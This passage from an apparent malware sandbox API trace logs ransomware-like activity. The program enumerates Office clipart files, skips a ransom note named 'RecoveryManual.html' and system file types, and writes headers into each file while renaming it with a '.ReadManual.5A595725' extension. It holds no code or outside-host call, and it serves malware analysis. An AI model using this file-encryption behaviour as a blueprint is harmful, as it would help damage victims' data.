lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.565] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.565] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ee4) returned 0x2f0000 [0266.565] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.565] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38723402588) returned 1 [0266.565] CloseHandle (hObject=0x184) returned 1 [0266.565] SetSecurityInfo () returned 0x57 [0266.565] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.565] CloseHandle (hObject=0x194) returned 1 [0266.566] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0266.566] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107188.WMF" | out: lpString1="J0107188.WMF") returned="J0107188.WMF" [0266.566] lstrcmpiW (lpString1="J0107188.WMF", lpString2="RecoveryManual.html") returned -1 [0266.566] StrStrIW (lpFirst="J0107188.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.566] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.566] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.566] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" [0266.566] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.ReadManual.5A595725" [0266.566] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.ReadManual.5A595725") returned 87 [0266.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38723499074) returned 1 [0266.566] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20 [0266.566] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.567] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4536) returned 1 [0266.567] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11b8, lpName=0x0) returned 0x184 [0266.567] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.567] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.568] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.569] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.570] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11b8) returned 0x2f0000 [0266.570] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.570] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38723851889) returned 1 [0266.570] CloseHandle (hObject=0x184) returned 1 [0266.570] SetSecurityInfo () returned 0x57 [0266.570] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.570] CloseHandle (hObject=0x194) returned 1 [0266.570] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0266.570] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107192.WMF" | out: lpString1="J0107192.WMF") returned="J0107192.WMF" [0266.570] lstrcmpiW (lpString1="J0107192.WMF", lpString2="RecoveryManual.html") returned -1 [0266.570] StrStrIW (lpFirst="J0107192.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.570] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.570] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.571] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.571] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.571] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.571] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" [0266.571] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.ReadManual.5A595725" [0266.571] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.ReadManual.5A595725") returned 87 [0266.571] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38723949656) returned 1 [0266.571] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20 [0266.571] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.571] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9968) returned 1 [0266.571] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26f0, lpName=0x0) returned 0x184 [0266.571] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.572] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.572] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.574] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.574] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26f0) returned 0x2f0000 [0266.574] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.574] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38724280995) returned 1 [0266.574] CloseHandle (hObject=0x184) returned 1 [0266.574] SetSecurityInfo () returned 0x57 [0266.574] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.574] CloseHandle (hObject=0x194) returned 1 [0266.574] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0266.574] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107254.WMF" | out: lpString1="J0107254.WMF") returned="J0107254.WMF" [0266.574] lstrcmpiW (lpString1="J0107254.WMF", lpString2="RecoveryManual.html") returned -1 [0266.574] StrStrIW (lpFirst="J0107254.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.575] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.575] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.575] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" [0266.575] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.ReadManual.5A595725" [0266.575] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.ReadManual.5A595725") returned 87 [0266.575] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38724378879) returned 1 [0266.575] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20 [0266.575] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.576] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20212) returned 1 [0266.576] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef4, lpName=0x0) returned 0x184 [0266.576] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.576] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.576] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.579] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.579] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ef4) returned 0x2f0000 [0266.579] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.579] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38724820601) returned 1 [0266.579] CloseHandle (hObject=0x184) returned 1 [0266.580] SetSecurityInfo () returned 0x57 [0266.580] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.580] CloseHandle (hObject=0x194) returned 1 [0266.580] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0266.580] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107258.WMF" | out: lpString1="J0107258.WMF") returned="J0107258.WMF" [0266.580] lstrcmpiW (lpString1="J0107258.WMF", lpString2="RecoveryManual.html") returned -1 [0266.580] StrStrIW (lpFirst="J0107258.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.580] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.580] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.580] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" [0266.580] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.ReadManual.5A595725" [0266.580] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.ReadManual.5A595725") returned 87 [0266.580] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38724917998) returned 1 [0266.580] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20 [0266.581] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.582] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8552) returned 1 [0266.582] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2168, lpName=0x0) returned 0x184 [0266.582] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.583] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.584] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.584] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2168) returned 0x2f0000 [0266.584] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.584] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38725324221) returned 1 [0266.585] CloseHandle (hObject=0x184) returned 1 [0266.585] SetSecurityInfo () returned 0x57 [0266.585] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.585] CloseHandle (hObject=0x194) returned 1 [0266.585] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0266.585] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107262.WMF" | out: lpString1="J0107262.WMF") returned="J0107262.WMF" [0266.585] lstrcmpiW (lpString1="J0107262.WMF", lpString2="RecoveryManual.html") returned -1 [0266.585] StrStrIW (lpFirst="J0107262.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.585] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.585] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.585] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" [0266.585] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.ReadManual.5A595725" [0266.585] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.ReadManual.5A595725") returned 87 [0266.585] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38725421801) returned 1 [0266.586] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20 [0266.586] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.586] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7996) returned 1 [0266.586] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f3c, lpName=0x0) returned 0x184 [0266.586] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.587] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.587] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.588] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.589] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f3c) returned 0x2f0000 [0266.589] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.589] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38725764501) returned 1 [0266.589] CloseHandle (hObject=0x184) returned 1 [0266.589] SetSecurityInfo () returned 0x57 [0266.589] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.589] CloseHandle (hObject=0x194) returned 1 [0266.589] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0266.589] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107264.WMF" | out: lpString1="J0107264.WMF") returned="J0107264.WMF" [0266.589] lstrcmpiW (lpString1="J0107264.WMF", 